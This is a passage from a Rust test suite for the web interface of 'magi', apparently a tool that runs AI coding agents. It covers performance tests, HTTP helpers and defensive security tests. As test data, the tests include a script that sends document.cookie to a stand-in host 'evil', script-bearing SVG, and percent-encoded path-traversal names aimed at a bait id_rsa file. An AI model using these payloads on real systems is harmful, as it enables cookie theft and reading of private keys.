11765            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11766        });
11767        std::fs::write(
11768            fx.runs()
11769                .join(&state.id)
11770                .join("artifacts/eviction-review-1.json"),
11771            serde_json::to_vec(&record).unwrap(),
11772        )
11773        .unwrap();
11774        std::fs::remove_dir_all(&repo).unwrap();
11775        let url = format!("/api/runs/{}/seat-evidence", state.id);
11776        let list = fx.get(&url).await;
11777        assert_eq!(list.status, 200, "{}", list.body);
11778        assert_eq!(list.json()[&head], "review-1");
11779        let patch = fx.get(&format!("{url}/{head}")).await;
11780        assert_eq!(patch.status, 200, "{}", patch.body);
11781        assert!(patch.body.contains("+archived review"));
11782        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11783        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11784        assert_eq!(fx.get(&url).await.status, 404);
11785        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11786    }
11787
11788    fn request_counts(res: &Res) -> (usize, usize) {
11789        assert_eq!(res.status, 200, "{}", res.body);
11790        (
11791            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11792            res.header("x-test-git").unwrap().parse().unwrap(),
11793        )
11794    }
11795
11796    #[tokio::test]
11797    async fn list_request_cost_is_independent_of_record_count() {
11798        let (_tmp, repos, fx) = performance_fixture().await;
11799        let mut previous = None;
11800        for n in [4, 60] {
11801            seed_performance(&fx, &repos, n, n, n);
11802            let mut costs = Vec::new();
11803            for (path, discoveries) in [
11804                ("/api/questions", 1),
11805                ("/api/talks", 0),
11806                ("/api/health", 0),
11807                ("/api/stats", 1),
11808            ] {
11809                // Equal cold extraction caches at both scales; this also
11810                // bounds first-request cost instead of only warmed requests.
11811                for repo in &repos {
11812                    let cache = repo.join(".git/magi/config");
11813                    if cache.exists() {
11814                        std::fs::remove_dir_all(cache).unwrap();
11815                    }
11816                }
11817                let cost = request_counts(&fx.get(path).await);
11818                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11819                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11820                assert!(
11821                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11822                    "{path}: {cost:?}"
11823                );
11824                costs.push(cost);
11825            }
11826            if let Some(previous) = previous {
11827                assert_eq!(costs, previous);
11828            }
11829            previous = Some(costs);
11830        }
11831        // runs reads shared row inputs and probes process liveness; queue
11832        // builds one blocker inventory; notifications reads its own store.
11833        // None discovers configuration or spawns git per item.
11834    }
11835
11836    /// The same handler path without transport, so the deterministic cause
11837    /// can also be checked in environments that prohibit binding sockets.
11838    #[tokio::test]
11839    async fn list_handler_cost_without_transport() {
11840        let (_tmp, repos) = performance_repositories().await;
11841        let fx = Fixture {
11842            home: TempDir::new().unwrap(),
11843            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11844        };
11845        let ui = Arc::new(
11846            Ui::new(
11847                fx.queue(),
11848                fx.questions(),
11849                fx.talks(),
11850                fx.runs(),
11851                fx.home.path().to_path_buf(),
11852                repos[0].clone(),
11853            )
11854            .with_worktrees_root(fx.home.path().join("wt")),
11855        );
11856        let mut previous = None;
11857        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11858            seed_performance(&fx, &repos, n, runs, items);
11859            let mut costs = Vec::new();
11860            for endpoint in ["questions", "talks", "health", "stats"] {
11861                for repo in &repos {
11862                    let cache = repo.join(".git/magi/config");
11863                    if cache.exists() {
11864                        std::fs::remove_dir_all(cache).unwrap();
11865                    }
11866                }
11867                let (_, cost) = request_cost::measure(async {
11868                    match endpoint {
11869                        "questions" => {
11870                            let _ = questions_list(State(ui.clone())).await.unwrap();
11871                        }
11872                        "talks" => {
11873                            let _ = talks_list(
11874                                State(ui.clone()),
11875                                Query(ListQuery {
11876                                    limit: None,
11877                                    ids: None,
11878                                }),
11879                                header::HeaderMap::new(),
11880                            )
11881                            .await
11882                            .unwrap();
11883                        }
11884                        "health" => {
11885                            let _ = health(State(ui.clone())).await.unwrap();
11886                        }
11887                        _ => {
11888                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11889                                .await
11890                                .unwrap();
11891                        }
11892                    }
11893                })
11894                .await;
11895                eprintln!("{endpoint} handler N={n}: {cost:?}");
11896                assert_eq!(
11897                    cost.0,
11898                    if matches!(endpoint, "talks" | "health") {
11899                        0
11900                    } else {
11901                        1
11902                    },
11903                    "{endpoint}"
11904                );
11905                assert!(
11906                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11907                    "{endpoint}: {cost:?}"
11908                );
11909                costs.push(cost);
11910            }
11911            if let Some(previous) = previous {
11912                assert_eq!(costs, previous);
11913            }
11914            previous = Some(costs);
11915        }
11916    }
11917
11918    #[tokio::test]
11919    async fn list_request_cost_scopes_do_not_mix() {
11920        let (_tmp, repos, fx) = performance_fixture().await;
11921        seed_performance(&fx, &repos, 10, 0, 10);
11922        let (questions, talks, notices) = tokio::join!(
11923            fx.get("/api/questions"),
11924            fx.get("/api/talks"),
11925            fx.get("/api/notifications")
11926        );
11927        assert_eq!(request_counts(&questions).0, 1);
11928        // Cached summaries perform no config discovery or git work, even
11929        // alongside the questions request that still discovers config.
11930        assert_eq!(request_counts(&talks), (0, 0));
11931        assert_eq!(request_counts(&notices), (0, 0));
11932    }
11933
11934    #[tokio::test]
11935    async fn list_endpoints_large_home_responses() {
11936        check_large_home_endpoints(false).await;
11937    }
11938
11939    #[tokio::test]
11940    #[ignore = "local wall-clock performance measurement; see docs/web-responsiveness.md"]
11941    async fn list_endpoints_large_home_ceiling() {
11942        check_large_home_endpoints(true).await;
11943    }
11944
11945    async fn check_large_home_endpoints(timed: bool) {
11946        let (_tmp, repos, fx) = performance_fixture().await;
11947        seed_performance(&fx, &repos, 200, 300, 400);
11948        let mut failures = Vec::new();
11949        // app.js boot/change loads plus the initial dashboard, settings and
11950        // repo picker. SSE is a persistent stream, not a bounded GET.
11951        for path in [
11952            "/",
11953            "/app.js",
11954            "/app.css",
11955            "/api/questions",
11956            "/api/runs?limit=300",
11957            "/api/queue",
11958            "/api/talks",
11959            "/api/notifications",
11960            "/api/health",
11961            "/api/stats",
11962            "/api/loop",
11963            "/api/settings",
11964            "/api/repos",
11965        ] {
11966            let start = std::time::Instant::now();
11967            let result = if timed {
11968                tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await
11969            } else {
11970                Ok(fx.get(path).await)
11971            };
11972            let elapsed = start.elapsed();
11973            eprintln!("{path}: {elapsed:?}");
11974            match result {
11975                Ok(res) if res.status == 200 && (!timed || elapsed <= Duration::from_secs(5)) => {}
11976                Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
11977                Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
11978            }
11979        }
11980        assert!(failures.is_empty(), "{}", failures.join("\n"));
11981    }
11982
11983    struct Res {
11984        status: u16,
11985        headers: String,
11986        /// The header block with its original casing, for the assertions that
11987        /// compare a header *value* rather than looking for a name. Lowercasing
11988        /// a CSP would hide a directive spelled with a capital letter, and the
11989        /// whole point of that test is that the string is exactly right.
11990        head: String,
11991        body: String,
11992        /// The body before any UTF-8 handling, for the routes that serve
11993        /// something other than text. A panel asset is a PNG as often as not,
11994        /// and `from_utf8_lossy` would silently replace half of it.
11995        bytes: Vec<u8>,
11996    }
11997
11998    impl Res {
11999        fn json(&self) -> Value {
12000            serde_json::from_str(&self.body)
12001                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
12002        }
12003
12004        /// One header's value verbatim, or `None` when it was not sent.
12005        fn header(&self, name: &str) -> Option<&str> {
12006            self.head.lines().find_map(|line| {
12007                let (key, value) = line.split_once(':')?;
12008                key.trim()
12009                    .eq_ignore_ascii_case(name)
12010                    .then(|| value.trim_start().trim_end_matches('\r'))
12011            })
12012        }
12013    }
12014
12015    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
12016    /// be read to end-of-stream without parsing framing.
12017    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
12018        request_with(addr, method, path, body, &[]).await
12019    }
12020
12021    /// As [`request`], with extra request headers - conditional GETs need
12022    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
12023    /// worse than one that sets none.
12024    async fn request_with(
12025        addr: SocketAddr,
12026        method: &str,
12027        path: &str,
12028        body: Option<&str>,
12029        extra: &[(&str, &str)],
12030    ) -> Res {
12031        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12032        for (name, value) in extra {
12033            head.push_str(&format!("{name}: {value}\r\n"));
12034        }
12035        if let Some(body) = body {
12036            head.push_str("Content-Type: application/json\r\n");
12037            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
12038        }
12039        head.push_str("\r\n");
12040        if let Some(body) = body {
12041            head.push_str(body);
12042        }
12043        let mut socket = tokio::net::TcpStream::connect(addr)
12044            .await
12045            .expect("connect to the test server");
12046        socket
12047            .write_all(head.as_bytes())
12048            .await
12049            .expect("write request");
12050        let mut raw = Vec::new();
12051        socket.read_to_end(&mut raw).await.expect("read response");
12052        // Split on the raw bytes rather than on a lossy string, so a binary
12053        // body survives to be compared byte for byte.
12054        let split = raw
12055            .windows(4)
12056            .position(|w| w == b"\r\n\r\n")
12057            .expect("a header block");
12058        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12059        let bytes = raw[split + 4..].to_vec();
12060        let status = head
12061            .lines()
12062            .next()
12063            .and_then(|line| line.split_whitespace().nth(1))
12064            .and_then(|code| code.parse().ok())
12065            .expect("a status line");
12066        Res {
12067            status,
12068            headers: head.to_lowercase(),
12069            head,
12070            body: String::from_utf8_lossy(&bytes).into_owned(),
12071            bytes,
12072        }
12073    }
12074
12075    /// A `POST` carrying a raw binary body and its own headers, for the
12076    /// attachment upload route - `request_with` only ever sends
12077    /// `Content-Type: application/json`, which is wrong for an image and
12078    /// would corrupt anything not valid UTF-8 by round-tripping it through
12079    /// `&str` first.
12080    async fn request_bytes(
12081        addr: SocketAddr,
12082        path: &str,
12083        headers: &[(&str, &str)],
12084        body: &[u8],
12085    ) -> Res {
12086        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
12087        for (name, value) in headers {
12088            head.push_str(&format!("{name}: {value}\r\n"));
12089        }
12090        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
12091        let mut socket = tokio::net::TcpStream::connect(addr)
12092            .await
12093            .expect("connect to the test server");
12094        socket
12095            .write_all(head.as_bytes())
12096            .await
12097            .expect("write request head");
12098        socket.write_all(body).await.expect("write request body");
12099        let mut raw = Vec::new();
12100        socket.read_to_end(&mut raw).await.expect("read response");
12101        let split = raw
12102            .windows(4)
12103            .position(|w| w == b"\r\n\r\n")
12104            .expect("a header block");
12105        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
12106        let bytes = raw[split + 4..].to_vec();
12107        let status = head
12108            .lines()
12109            .next()
12110            .and_then(|line| line.split_whitespace().nth(1))
12111            .and_then(|code| code.parse().ok())
12112            .expect("a status line");
12113        Res {
12114            status,
12115            headers: head.to_lowercase(),
12116            head,
12117            body: String::from_utf8_lossy(&bytes).into_owned(),
12118            bytes,
12119        }
12120    }
12121
12122    /// A run on disk, without touching the process-global magi home.
12123    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
12124        let mut state = RunState::new(
12125            PathBuf::from("/repo/magi"),
12126            "main".to_owned(),
12127            "0123456789abcdef".to_owned(),
12128            "Add a web UI\n\nMobile first.".to_owned(),
12129            Config::default(),
12130        );
12131        state.id = id.to_owned();
12132        state.status = status;
12133        let dir = runs.join(id);
12134        std::fs::create_dir_all(&dir).expect("run dir");
12135        std::fs::write(
12136            dir.join("run.json"),
12137            serde_json::to_string_pretty(&state).expect("serialize run"),
12138        )
12139        .expect("write run.json");
12140    }
12141
12142    /// Same as [`write_run`], but against a named repository rather than the
12143    /// fixed `/repo/magi` - for the `?repo=` stats tests, which need runs
12144    /// spread across more than one.
12145    fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
12146        let mut state = RunState::new(
12147            PathBuf::from(repo),
12148            "main".to_owned(),
12149            "0123456789abcdef".to_owned(),
12150            "task".to_owned(),
12151            Config::default(),
12152        );
12153        state.id = id.to_owned();
12154        state.status = status;
12155        let dir = runs.join(id);
12156        std::fs::create_dir_all(&dir).expect("run dir");
12157        std::fs::write(
12158            dir.join("run.json"),
12159            serde_json::to_string_pretty(&state).expect("serialize run"),
12160        )
12161        .expect("write run.json");
12162    }
12163
12164    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
12165        let body = serde_json::json!({
12166            "schema": 1,
12167            "pid": 4242,
12168            "started_at": Timestamp::now().to_string(),
12169            "updated_at": updated_at.to_string(),
12170            "idle": false,
12171            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
12172            "completed": 7,
12173            "polls": 143,
12174        });
12175        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
12176    }
12177
12178    /// A loop that starts, finds nothing to do, and waits to be told to stop.
12179    ///
12180    /// No test in this file may start the real loop - see [`Ui::launch`] for
12181    /// why - so this stands in for the only thing the routes need a loop to
12182    /// do: keep running until `Stop` is set, then return. A real
12183    /// `serve_until` here would resolve its queue and its status file through
12184    /// the process-global magi home, claim whatever it found in the
12185    /// operator's live backlog, overwrite the status file of the `magi serve`
12186    /// that owns it, and spend real agent quota on a real competition.
12187    fn launch_idle(
12188        _opts: daemon::Opts,
12189        stop: daemon::Stop,
12190    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12191        Box::pin(async move {
12192            while !stop.stopped() {
12193                tokio::time::sleep(Duration::from_millis(2)).await;
12194            }
12195            Ok(())
12196        })
12197    }
12198
12199    /// A loop that fails on the way up, the way one whose home has gone
12200    /// read-only does.
12201    fn launch_broken(
12202        _opts: daemon::Opts,
12203        _stop: daemon::Stop,
12204    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
12205        // The stand-in dies instantly, so a restarted one can record its own
12206        // failure before the start's response is read. The second attempt
12207        // therefore fails with a different message, to tell a stale error
12208        // from a fresh one.
12209        static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
12210        let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
12211        Box::pin(async move {
12212            Err(anyhow::anyhow!(if first {
12213                "publish the daemon status file: read-only file system"
12214            } else {
12215                "the restarted stand-in failed as well"
12216            }))
12217        })
12218    }
12219
12220    /// The loop view once `want` accepts it.
12221    ///
12222    /// Polled rather than asserted straight after the POST because stopping
12223    /// is deliberately not instant - that is the contract - and rather than
12224    /// slept through because a fixed wait is either flaky or slow.
12225    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
12226    /// finite, so a genuine hang fails the test instead of hanging the
12227    /// suite.
12228    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
12229        for _ in 0..SETTLE_STEPS {
12230            let view = fx.get("/api/loop").await.json();
12231            if want(&view) {
12232                return view;
12233            }
12234            tokio::time::sleep(Duration::from_millis(10)).await;
12235        }
12236        panic!(
12237            "the loop never settled: {}",
12238            fx.get("/api/loop").await.json()
12239        );
12240    }
12241
12242    /// File an open question directly in the store the server reads.
12243    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
12244        let store = fx.questions();
12245        let mut q = Question::new(
12246            "20260902-000000-beef".to_owned(),
12247            "implement".to_owned(),
12248            "impl-A".to_owned(),
12249            summary.to_owned(),
12250            "because it matters".to_owned(),
12251            choices.iter().map(|c| (*c).to_owned()).collect(),
12252        );
12253        store.put(&mut q).expect("put question");
12254        q.id
12255    }
12256
12257    /// A question with a panel the server can serve, plus the named assets.
12258    ///
12259    /// Written through `Questions::put_panel` rather than by laying out the
12260    /// directory here, so these tests exercise the same on-disk shape the
12261    /// agents produce and cannot pass against a layout only the tests know.
12262    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
12263        let store = fx.questions();
12264        let mut q = Question::new(
12265            "20260902-000000-beef".to_owned(),
12266            "land".to_owned(),
12267            "fix".to_owned(),
12268            "Merge this?".to_owned(),
12269            "the diff is in the panel".to_owned(),
12270            vec!["merge".to_owned(), "hold".to_owned()],
12271        );
12272        // Staged outside the questions root, because `put_panel` copies from
12273        // wherever the agent left its files.
12274        let staging = fx.home.path().join("staging");
12275        std::fs::create_dir_all(&staging).expect("staging dir");
12276        let sources: Vec<PathBuf> = assets
12277            .iter()
12278            .map(|(name, bytes)| {
12279                let path = staging.join(name);
12280                std::fs::write(&path, bytes).expect("write staged asset");
12281                path
12282            })
12283            .collect();
12284        store
12285            .put_panel(&mut q, html, &sources)
12286            .expect("write the panel");
12287        store.put(&mut q).expect("put question");
12288        q.id
12289    }
12290
12291    /// A talk on disk, without talking to a model.
12292    ///
12293    /// Written as JSON straight into the store the server reads, because the
12294    /// only constructor `talk::begin` offers takes no turn but still requires
12295    /// a real caller-visible flow. The one thing this cannot make up is the
12296    /// seat, so it is built with the real `SeatState::new` and serialized -
12297    /// the alternative, hand-writing that object, would make these tests fail
12298    /// the day the seat gains a field.
12299    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
12300        seed_talk_at(&fx.talks(), id, status)
12301    }
12302
12303    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
12304        std::fs::create_dir_all(store.root()).expect("talks dir");
12305        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
12306            .expect("serialize a seat");
12307        let body = serde_json::json!({
12308            "schema": 1,
12309            "id": id,
12310            "repo": "/repo/magi",
12311            "agent": "mock",
12312            "status": status,
12313            "turns": [],
12314            "created_at": Timestamp::now().to_string(),
12315            "updated_at": Timestamp::now().to_string(),
12316            "seat": seat,
12317        });
12318        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
12319        store.get(id).expect("the seeded talk has to be readable");
12320        id.to_owned()
12321    }
12322
12323    #[tokio::test]
12324    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
12325        let fx = Fixture::start().await;
12326        let id = panel(
12327            &fx,
12328            "<h1>Merge?</h1><img src=\"diff.svg\">",
12329            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
12330        );
12331
12332        for path in [
12333            format!("/api/questions/{id}/panel"),
12334            format!("/api/questions/{id}/asset/diff.svg"),
12335        ] {
12336            let res = fx.get(&path).await;
12337            assert_eq!(res.status, 200, "{path}: {}", res.body);
12338            // The whole string, not a substring. A weakened directive - an
12339            // `img-src *` that lets a panel beacon out to a remote host, a
12340            // `script-src` anything, a missing `form-action` that lets it post
12341            // the owner's decision to a third party - has to fail here, and a
12342            // `contains` assertion would let every one of those through.
12343            assert_eq!(
12344                res.header("content-security-policy"),
12345                Some(
12346                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
12347                     font-src data:; base-uri 'none'; form-action 'none'; \
12348                     frame-ancestors 'self'"
12349                ),
12350                "{path} is the only thing between a hostile panel and the tailnet"
12351            );
12352            assert_eq!(
12353                res.header("x-content-type-options"),
12354                Some("nosniff"),
12355                "{path}: a browser must not re-decide the type we sent"
12356            );
12357            assert_eq!(
12358                res.header("referrer-policy"),
12359                Some("no-referrer"),
12360                "{path}: a panel must not leak the question id off the machine"
12361            );
12362
12363            // The front end mounts the frame only after a `HEAD` says the
12364            // panel is there, so `HEAD` has to answer with the same status and
12365            // the same policy as `GET` - a preflight that came back without
12366            // the CSP would mean a frame mounted on an unverified promise.
12367            let pre = fx.head(&path).await;
12368            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
12369            assert_eq!(
12370                pre.header("content-security-policy"),
12371                res.header("content-security-policy"),
12372                "{path}: the preflight carries the same policy"
12373            );
12374            assert_eq!(
12375                pre.header("content-type"),
12376                res.header("content-type"),
12377                "{path}: the preflight carries the same type"
12378            );
12379        }
12380    }
12381
12382    #[tokio::test]
12383    async fn a_panel_reaches_the_browser_byte_for_byte() {
12384        let fx = Fixture::start().await;
12385        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
12386        // tag, an entity, and a multi-byte character. The sandbox is what makes
12387        // this safe, so nothing here may be rewritten on the way out - a
12388        // rewritten diff is a diff the owner cannot trust.
12389        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
12390        let id = panel(&fx, html, &[]);
12391
12392        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
12393
12394        assert_eq!(res.status, 200);
12395        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
12396        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
12397        assert_eq!(
12398            res.header("content-disposition"),
12399            None,
12400            "the panel itself is rendered in the frame, not downloaded"
12401        );
12402    }
12403
12404    #[tokio::test]
12405    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
12406        let fx = Fixture::start().await;
12407        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
12408        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
12409        let id = panel(
12410            &fx,
12411            "<img src=\"diff.svg\"><img src=\"shot.png\">",
12412            &[("diff.svg", svg), ("shot.png", png)],
12413        );
12414
12415        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
12416        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
12417
12418        assert_eq!(as_svg.status, 200);
12419        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
12420        // An SVG is XML that may carry script. Inside the panel it is an
12421        // `<img src>` and the script cannot run; opened at the top level it
12422        // would be a document on magi's own origin, so the browser is told to
12423        // download it instead of rendering it.
12424        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
12425
12426        assert_eq!(as_png.status, 200);
12427        assert_eq!(as_png.header("content-type"), Some("image/png"));
12428        assert_eq!(
12429            as_png.header("content-disposition"),
12430            None,
12431            "a raster image has no execution surface, so tapping it still shows it"
12432        );
12433        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
12434    }
12435
12436    #[tokio::test]
12437    async fn an_html_asset_is_never_served_as_html() {
12438        let fx = Fixture::start().await;
12439        let id = panel(
12440            &fx,
12441            "<p>see the notes</p>",
12442            &[
12443                (
12444                    "notes.html",
12445                    b"<script>fetch('http://evil/'+document.cookie)</script>",
12446                ),
12447                ("hook.js", b"fetch('http://evil/')"),
12448                ("data.json", b"{}"),
12449                ("HEADLINE.TXT", b"plain"),
12450            ],
12451        );
12452
12453        for name in ["notes.html", "hook.js", "data.json"] {
12454            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
12455            assert_eq!(res.status, 200, "{name}: {}", res.body);
12456            // Serving this as text/html would be a way to reach agent markup
12457            // at the top level of the operator's browser, outside the frame's
12458            // sandbox and outside its CSP - which is the whole thing the panel
12459            // design exists to prevent. Unlisted types are downloads.
12460            assert_eq!(
12461                res.header("content-type"),
12462                Some("application/octet-stream"),
12463                "{name} must not be a type the browser will execute or render"
12464            );
12465        }
12466        // The whitelist is matched case-insensitively, so an agent shouting the
12467        // extension still gets a readable file rather than a download.
12468        let txt = fx
12469            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
12470            .await;
12471        assert_eq!(
12472            txt.header("content-type"),
12473            Some("text/plain; charset=utf-8")
12474        );
12475    }
12476
12477    #[tokio::test]
12478    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
12479        let fx = Fixture::start().await;
12480        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12481        // Something outside the panel directory that a traversal would reach if
12482        // one got through, so a passing test is not merely "the file was
12483        // missing anyway".
12484        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
12485
12486        // Decoded before this server's handler sees them: axum percent-decodes
12487        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
12488        // string with a NUL in it. All three look like ordinary single-segment
12489        // filenames to the router, so the router passes them through and
12490        // `valid_asset_name` is what refuses them - for the literal `..`, and
12491        // for `/`, `\` and NUL not being in the permitted character set.
12492        for encoded in [
12493            "%2e%2e%2fid_rsa",
12494            "..%2fid_rsa",
12495            "..%5cid_rsa",
12496            "%2e%2e%5cid_rsa",
12497            "diff%00.svg",
12498            "..",
12499            ".hidden",
12500            "%2e%2e%2f%2e%2e%2fid_rsa",
12501        ] {
12502            let res = fx
12503                .get(&format!("/api/questions/{id}/asset/{encoded}"))
12504                .await;
12505            assert_eq!(
12506                res.status, 400,
12507                "`{encoded}` has to be refused by name, not looked up: {}",
12508                res.body
12509            );
12510            assert!(res.json()["error"].is_string(), "{}", res.body);
12511        }
12512
12513        // Not decoded, and never this handler's problem: a real slash makes the
12514        // request one segment too long for `/api/questions/{id}/asset/{name}`,
12515        // so axum's router has no route to match and answers before any code
12516        // here runs. Asserted so that a future route with a wildcard segment
12517        // cannot quietly open this door.
12518        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
12519            let res = fx
12520                .get(&format!("/api/questions/{id}/asset/{literal}"))
12521                .await;
12522            assert_eq!(
12523                res.status, 404,
12524                "`{literal}` must not match the asset route at all: {}",
12525                res.body
12526            );
12527        }
12528    }
12529
12530    #[tokio::test]
12531    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
12532        let fx = Fixture::start().await;
12533        let plain = ask(&fx, "Which backend?", &["SQLite"]);
12534        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
12535
12536        // A question nobody wrote a panel for. The client preflights with HEAD
12537        // and cannot see inside a sandboxed frame, so this must be a status and
12538        // not an empty page.
12539        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
12540        assert_eq!(none.status, 404, "{}", none.body);
12541        assert!(none.json()["error"].is_string(), "{}", none.body);
12542        assert_eq!(
12543            fx.head(&format!("/api/questions/{plain}/panel"))
12544                .await
12545                .status,
12546            404,
12547            "the preflight is the only way the client can learn this"
12548        );
12549
12550        // A name that is perfectly legal and simply is not there.
12551        let missing = fx
12552            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
12553            .await;
12554        assert_eq!(missing.status, 404, "{}", missing.body);
12555        assert!(missing.json()["error"].is_string(), "{}", missing.body);
12556
12557        // A question that does not exist at all, on both routes.
12558        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
12559        assert_eq!(
12560            fx.get("/api/questions/nope/asset/diff.svg").await.status,
12561            404
12562        );
12563    }
12564
12565    #[tokio::test]
12566    async fn a_run_with_an_open_question_reads_as_waiting() {
12567        let fx = Fixture::start().await;
12568        let run = "20260902-000000-beef".to_owned();
12569        write_run(&fx.runs(), &run, RunStatus::Implementing);
12570
12571        let before = fx.get("/api/runs").await.json();
12572        assert_eq!(before[0]["waiting"], false, "{before}");
12573
12574        let store = fx.questions();
12575        let mut q = Question::new(
12576            run.clone(),
12577            "implement".to_owned(),
12578            "impl-A".to_owned(),
12579            "Which backend?".to_owned(),
12580            String::new(),
12581            vec!["SQLite".to_owned()],
12582        );
12583        store.put(&mut q).expect("put");
12584
12585        let during = fx.get("/api/runs").await.json();
12586        assert_eq!(during[0]["waiting"], true, "{during}");
12587
12588        // Answered: the run is moving again, and the flag has to follow without
12589        // anything having rewritten run.json.
12590        q.answer(Answer::Choice("SQLite".to_owned()))
12591            .expect("answer");
12592        store.put(&mut q).expect("put");
12593        let after = fx.get("/api/runs").await.json();
12594        assert_eq!(after[0]["waiting"], false, "{after}");
12595    }
12596
12597    #[tokio::test]
12598    async fn an_open_question_is_listed_and_counted_by_health() {
12599        let fx = Fixture::start().await;
12600        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12601
12602        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12603        let listed = fx.get("/api/questions").await.json();
12604        assert_eq!(listed.as_array().expect("array").len(), 1);
12605        assert_eq!(listed[0]["id"], id);
12606        assert_eq!(listed[0]["status"], "open");
12607        assert_eq!(listed[0]["choices"][1], "Redis");
12608        // The count is what makes the phone's indicator honest: it is the one
12609        // number meaning nothing will move until a human acts.
12610        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12611    }
12612
12613    fn obsolete_approval_state() -> RunState {
12614        let mut state = crate::land::tests::repair_state(true, true);
12615        state.pr = Some(crate::run::PrRecord {
12616            url: "https://github.com/example/repo/pull/42".into(),
12617            number: 42,
12618            state: "open".into(),
12619            checks: "green".into(),
12620            round: 1,
12621            rounds: 4,
12622            red_at_merge: Vec::new(),
12623        });
12624        state
12625    }
12626
12627    #[tokio::test]
12628    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
12629        for owner in ["missing", "current", "completed", "later"] {
12630            let fx = Fixture {
12631                home: TempDir::new().unwrap(),
12632                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12633            };
12634            let mut state = obsolete_approval_state();
12635            state.status = RunStatus::Landing;
12636            state.parked = true;
12637            state.driver_exited = true;
12638            let mut q = Question::new(
12639                state.id.clone(),
12640                crate::land::APPROVAL_NODE.into(),
12641                "land".into(),
12642                "Old approval".into(),
12643                "Original evidence".into(),
12644                vec!["merge".into(), "hold".into()],
12645            );
12646            state.land_approval = Some(crate::run::LandApproval {
12647                question: q.id.clone(),
12648                head: "head".into(),
12649            });
12650            state.save_under(fx.home.path()).unwrap();
12651            let stale = state.clone();
12652            fx.questions().put(&mut q).unwrap();
12653            let mut task = Task::new(
12654                "Owner".into(),
12655                "Original instruction".into(),
12656                state.repo.clone(),
12657                Source::Human,
12658            );
12659            task.runs.push(state.id.clone());
